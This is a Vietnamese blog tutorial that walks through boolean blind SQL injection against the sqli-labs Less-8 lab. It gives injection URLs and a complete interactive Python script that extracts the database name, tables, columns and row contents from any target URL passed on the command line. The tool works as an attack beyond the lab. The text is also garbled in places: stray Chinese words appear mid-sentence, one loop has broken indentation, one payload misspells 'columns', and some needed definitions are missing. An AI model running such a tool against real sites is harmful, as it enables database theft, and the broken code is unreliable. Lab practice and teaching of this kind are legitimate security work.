Tự động hóa tấn công SQL injection mù bằng Python

Giới thiệu

Khi thực hiện tấn công SQL injection, nếu không thể thực hiện union-based injection hoặc các phương pháp khác dựa trên lỗi, chúng ta cần xem xét đến injection mù (blind injection). Trong quá trình thực hiện injection mù, chúng ta cần dựa vào phản hồi của trang (boolean blind injection) hoặc thời gian phản hồi (time-based blind injection) để đoán từng ký tự một. Nếu thực hiện thủ công, công việc này sẽ rất tốn thời gian. Vì vậy, bài viết này sẽ sử dụng Python để viết một kịch bản tự động hóa quá trình đoán, với mục tiêu là关卡 thứ tám trong sqli-labs.

Các payload liên quan đến injection mù

Trước khi viết kịch bản, cần hiểu rõ quy trình của injection mù để không bị rối思路. Dưới đây là ví dụ với关卡 thứ tám trong sqli-labs:

Lấy độ dài cơ sở dữ liệu

127.0.0.1/sql/Less-8/?id=1' and if(length(database())=8,1,0) %23

Lấy tên cơ sở dữ liệu

substr: hàm cắt chuỗi, bắt đầu từ vị trí đầu tiên, cắt một ký tự

Kết hợp lại, chúng ta cắt ký tự đầu tiên của tên cơ sở dữ liệu và kiểm tra giá trị ascii của nó có bằng 115 không. Nếu đúng, trang sẽ trả về bình thường.

127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,1,0) %23

Lấy số lượng bảng trong cơ sở dữ liệu

127.0.0.1/sql/Less-8/?id=1' and if((select count(*)table_name from information_schema.tables where table_schema='security')=4,1,0) %23

Lấy độ dài tên bảng

Lưu ý về limit, tham số đầu tiên là bắt đầu từ dòng nào (tối thiểu là 0), tham số thứ hai là lấy bao nhiêu dòng. Ở đây 1 có nghĩa là một dòng.

127.0.0.1/sql/Less-8/?id=1' and if((select LENGTH(table_name) from information_schema.tables where table_schema='security' limit 1,1)=8,1,0) %23

Lấy tên bảng

127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,0) %23

Lấy số lượng cột trong bảng

127.0.0.1/sql/Less-8/?id=1' and if((select count(column_name) from information_schema.cloumns where table_schema='security' and table_name='users')=3,1,0) %23

Lấy độ dài của cột

127.0.0.1/sql/Less-8/?id=1' and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2,1,0) %23

Lấy tên cột của bảng

127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,1,0) %23

Lấy số lượng dữ liệu trong cột

127.0.0.1/sql/Less-8/?id=1' and if((select count(username) from users)=13,1,0) %23

Lấy độ dài dữ liệu trong cột

127.0.0.1/sql/Less-8/?id=1' and if((select length(username) from users limit 0,1)=4,1,0) %23

Lấy dữ liệu trong cột

127.0.0.1/sql/Less-8/?id=1' and if (ascii(substr((select username from users limit 0,1),1,1))=68,1,0) %23

Giải thích các hàm trong kịch bản injection mù

Đầu tiên, chúng ta viết hàm chính để gọi các hàm khác:

# Hàm chính cho injection mù
def BatDauQuanLySQL(url):
    LayTenCSDL(url)
    print("[+] Tên cơ sở dữ liệu hiện tại: {0}".format(TenCSDL))
    LayBangTrongCSDL(url, TenCSDL)
    print("[+] Các bảng trong cơ sở dữ liệu {0}:".format(TenCSDL))
    for i in range(len(DanhSachBang)):
        print("(" + str(i + 1) + ")" + DanhSachBang[i])
    chiSoBang = int(input("[*] Vui lòng nhập số thứ tự của bảng cần xem:")) - 1
    LayCotTrongBang(url, TenCSDL, DanhSachBang[chiSoBang])
    while True:
        print("[+] Các cột trong bảng {0}:".format(DanhSachBang[chiSoBang]))
        for i in range(len(DanhSachCot)):
            print("(" + str(i + 1) + ")" + DanhSachCot[i])
        chiSoCot = int(input("[*] Vui lòng nhập số thứ tự của cột cần xem (nhập 0 để thoát):")) - 1
        if(chiSoCot == -1):
            break
        else:
            LayDuLieuTrongCot(url, DanhSachBang[chiSoBang], DanhSachCot[chiSoCot])

Tiếp theo, chúng ta cần lấy tên cơ sở dữ liệu và lưu kết quả vào biến TenCSDL:

# Hàm lấy tên cơ sở dữ liệu
def LayTenCSDL(url):
    # Sử dụng biến toàn局 TenCSDL
    global TenCSDL
    print("[-] Bắt đầu lấy độ dài cơ sở dữ liệu")
    # Biến lưu độ dài cơ sở dữ liệu
    doDaiCSDL = 0
    # Payload để kiểm tra độ dài cơ sở dữ liệu
    payload =  "' and if(length(database())={0},1,0) %23 "
    # Nối url và payload để có url cuối cùng
    urlMucTieu = url + payload
    print(urlMucTieu)
    # Dùng vòng lặp để lấy độ dài cơ sở dữ liệu
    for doDaiCSDL in range(1,99):
        # Gán giá trị cho payload để đoán
    phanHoi = ketNoi.get(urlMucTieu.format(doDaiCSDL))
        # Kiểm tra flag có trong trang trả về không
        if dauHieu in phanHoi.content.decode("utf-8"):
            print('[+] Độ dài cơ sở dữ liệu: '+ str(doDaiCSDL))
            break
    print("[-] Bắt đầu lấy tên cơ sở dữ liệu")
    # Payload để lấy tên cơ sở dữ liệu
    payload = "' and if(ascii(substr(database(),{0},1))={1},1,0) %23"
    urlMucTieu = url + payload
    # a là vị trí cắt của hàm substr()
    for a in range(1,doDaiCSDL+1):
        # b là các ký tự có thể hiển thị trong ascii từ 33~126
        for b in range(33,127):
            phanHoi = ketNoi.get(urlMucTieu.format(a,b))
            if dauHieu in phanHoi.content.decode("utf-8"):
                TenCSDL += chr(b)
                print("[-]" + TenCSDL)
                break

Khi đã có tên cơ sở dữ liệu, chúng ta có thể đoán tên bảng và lưu kết quả vào dạng danh sách DanhSachBang:

# Hàm lấy các bảng trong cơ sở dữ liệu
def LayBangTrongCSDL(url, tenCSDL):
    global DanhSachBang
    # Biến lưu số lượng bảng
    soLuongBang = 0
    print("[-] Bắt đầu lấy số lượng bảng trong cơ sở dữ liệu {0}:".format(tenCSDL))
    # Payload để lấy số lượng bảng
    payload = "' and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0) %23"
    urlMucTieu = url + payload
    # Bắt đầu lấy số lượng bảng
    for soLuongBang in range(1,99):
        phanHoi = ketNoi.get(urlMucTieu.format(tenCSDL,soLuongBang))
        if dauHieu in phanHoi.content.decode("utf-8"):
            print("[+] Số lượng bảng trong {0}: {1}".format(tenCSDL,soLuongBang))
            break
    print("[-] Bắt đầu lấy các bảng trong {0}".format(tenCSDL))
    # Biến tạm thời lưu độ dài tên bảng
    doDaiTenBang = 0
    # a là chỉ số của bảng đang lấy
    for a in range(0,soLuongBang):
        print("[-] Đang lấy tên bảng thứ {0}".format(a+1))
        # Đầu tiên lấy độ dài tên bảng hiện tại
        for doDaiTenBang in range(1,99):
            payload = "' and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0) %23"
            urlMucTieu = url + payload
            phanHoi = ketNoi.get(urlMucTieu.format(tenCSDL,a,doDaiTenBang))
            if dauHieu in phanHoi.content.decode("utf-8"):
                break
        # Bắt đầu lấy tên bảng
        # Biến tạm thời lưu tên bảng
        tenBang = ""
        # b là vị trí đoán tên bảng (substr)
        for b in range(1,doDaiTenBang+1):
            payload = "' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},1,0) %23"
            urlMucTieu = url + payload
            # c là các ký tự có thể hiển thị trong ascii từ 33~126
            for c in range(33,127):
                phanHoi = ketNoi.get(urlMucTieu.format(tenCSDL,a,b,c))
                if dauHieu in phanHoi.content.decode("utf-8"):
                    tenBang +=chr(c)
                    print(tenBang)
                    break
        # Thêm tên bảng vào DanhSachBang
        DanhSachBang.append(tenBang)
        # Xóa tenBang để tiếp tục lấy bảng tiếp theo
        tenBang = ""

Dựa trên tên cơ sở dữ liệu và tên bảng đã lấy ở trên, chúng ta lấy các cột trong bảng và lưu kết quả vào dạng danh sách DanhSachCot:

# Hàm lấy các cột trong bảng
def LayCotTrongBang(url, tenCSDL, tenBang):
    global DanhSachCot
    # Biến lưu số lượng cột
    soLuongCot = 0
    print("[-] Bắt đầu lấy số lượng cột trong bảng {0}:".format(tenBang))
    for soLuongCot in range(99):
        payload = "' and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) %23"
        urlMucTieu = url + payload
        phanHoi = ketNoi.get(urlMucTieu.format(tenCSDL,tenBang,soLuongCot))
        if dauHieu in phanHoi.content.decode("utf-8"):
            print("[-] Số lượng cột trong bảng {0}: {1}".format(tenBang,soLuongCot))
            break
    # Bắt đầu lấy tên các cột
    # Biến tạm thời lưu tên cột
    tenCot = ""
    # a là chỉ số của cột đang lấy
    for a in range(0,soLuongCot):
        print("[-] Đang lấy tên cột thứ {0}".format(a+1))
        # Đầu tiên lấy độ dài tên cột
        for doDaiTenCot in range(99):
            payload = "' and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) %23"
            urlMucTieu = url + payload
            phanHoi = ketNoi.get(urlMucTieu.format(tenCSDL,tenBang,a,doDaiTenCot))
            if dauHieu in phanHoi.content.decode("utf-8"):
                break
        # b là vị trí đoán tên cột
        for b in range(1,doDaiTenCot+1):
                payload = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0) %23"
                urlMucTieu = url + payload
                # c là các ký tự có thể hiển thị trong ascii từ 33~126
                for c in range(33,127):
                    phanHoi = ketNoi.get(urlMucTieu.format(tenCSDL,tenBang,a,b,c))
                    if dauHieu in phanHoi.content.decode("utf-8"):
                        tenCot += chr(c)
                        print(tenCot)
                        break
        # Thêm cột vào DanhSachCot
        DanhSachCot.append(tenCot)
        # Xóa tenCot để tiếp tục lấy cột tiếp theo
        tenCot = ""

Sau đó, chúng ta có thể lấy dữ liệu. Dựa trên URL, tên bảng và tên cột để lấy dữ liệu. Dữ liệu được lưu dưới dạng dictionary với khóa là tên cột và giá trị là danh sách dữ liệu:

# Hàm lấy dữ liệu trong bảng
def LayDuLieuTrongCot(url, tenBang, tenCot):
    global DuLieuCot
    # Đầu tiên lấy số lượng dữ liệu trong cột
    soLuongDuLieu = 0
    print("[-] Bắt đầu lấy số lượng dữ liệu trong bảng {0}, cột {1}".format(tenBang,tenCot))
    for soLuongDuLieu in range(99):
        payload = "' and if((select count({0}) from {1})={2},1,0) %23"
        urlMucTieu = url + payload
        phanHoi = ketNoi.get(urlMucTieu.format(tenCot,tenBang,soLuongDuLieu))
        if dauHieu in phanHoi.content.decode("utf-8"):
            print("[-] Số lượng dữ liệu trong bảng {0}, cột {1}: {2}".format(tenBang,tenCot,soLuongDuLieu))
            break
    for a in range(0,soLuongDuLieu):
        print("[-] Đang lấy dữ liệu thứ {0} của cột {1}".format(a+1,tenCot))
        # Đầu tiên lấy độ dài dữ liệu này
        doDaiDuLieu = 0
        for doDaiDuLieu in range(99):
            payload = "' and if((select length({0}) from {1} limit {2},1)={3},1,0) %23"
            urlMucTieu = url + payload
            phanHoi = ketNoi.get(urlMucTieu.format(tenCot,tenBang,a,doDaiDuLieu))
            if dauHieu in phanHoi.content.decode("utf-8"):
                print("[-] Độ dài dữ liệu thứ {0}: {1}".format(a+1,doDaiDuLieu))
                break
        # Biến tạm thời lưu nội dung dữ liệu
        duLieu = ""
        # Bắt đầu lấy nội dung dữ liệu cụ thể
        # b là vị trí đoán nội dung dữ liệu
        for b in range(1,doDaiDuLieu+1):
            for c in range(33,127):
                payload = "' and if (ascii(substr((select {0} from {1} limit {2},1),{3},1))={4},1,0) %23"
                urlMucTieu = url + payload
                phanHoi = ketNoi.get(urlMucTieu.format(tenCot,tenBang,a,b,c))
                if dauHieu in phanHoi.content.decode("utf-8"):
                    duLieu +=chr(c)
                    print(duLieu)
                    break
        # Thêm vào dictionary với khóa là tên cột, giá trị là danh sách
        DuLieuCot.setdefault(tenCot,[]).append(duLieu)
        print(DuLieuCot)
        # Xóa duLieu để tiếp tục lấy dữ liệu tiếp theo
        duLieu = ""

Cuối cùng, viết hàm chính và truyền vào URL:

# Điểm khởi động, hàm chính
if __name__ == '__main__':
    phanTich = optparse.OptionParser('sử dụng: python %prog -u url \n\n' 'Ví dụ: python %prog -u http://127.0.0.1/sql/Less-8/?id=1\n')
    # Tham số URL mục tiêu -u
    phanTich.add_option('-u','--url',dest='urlMucTieu',default='http://127.0.0.1/sql/Less-8/?id=1',type='string',help='URL mục tiêu')
    (thamSo, danhSachThamSo) = phanTich.parse_args()
    BatDauQuanLySQL(thamSo.urlMucTieu)

Tổng kết

Vậy là chúng ta đã hoàn thành kịch bản tự động hóa cho tấn công SQL injection mù. Nếu có bất kỳ lỗi nào, xin vui lòng chỉ ra.

Thẻ: SQL Injection python blind injection Security automation

Đăng vào ngày 9 tháng 7 lúc 23:19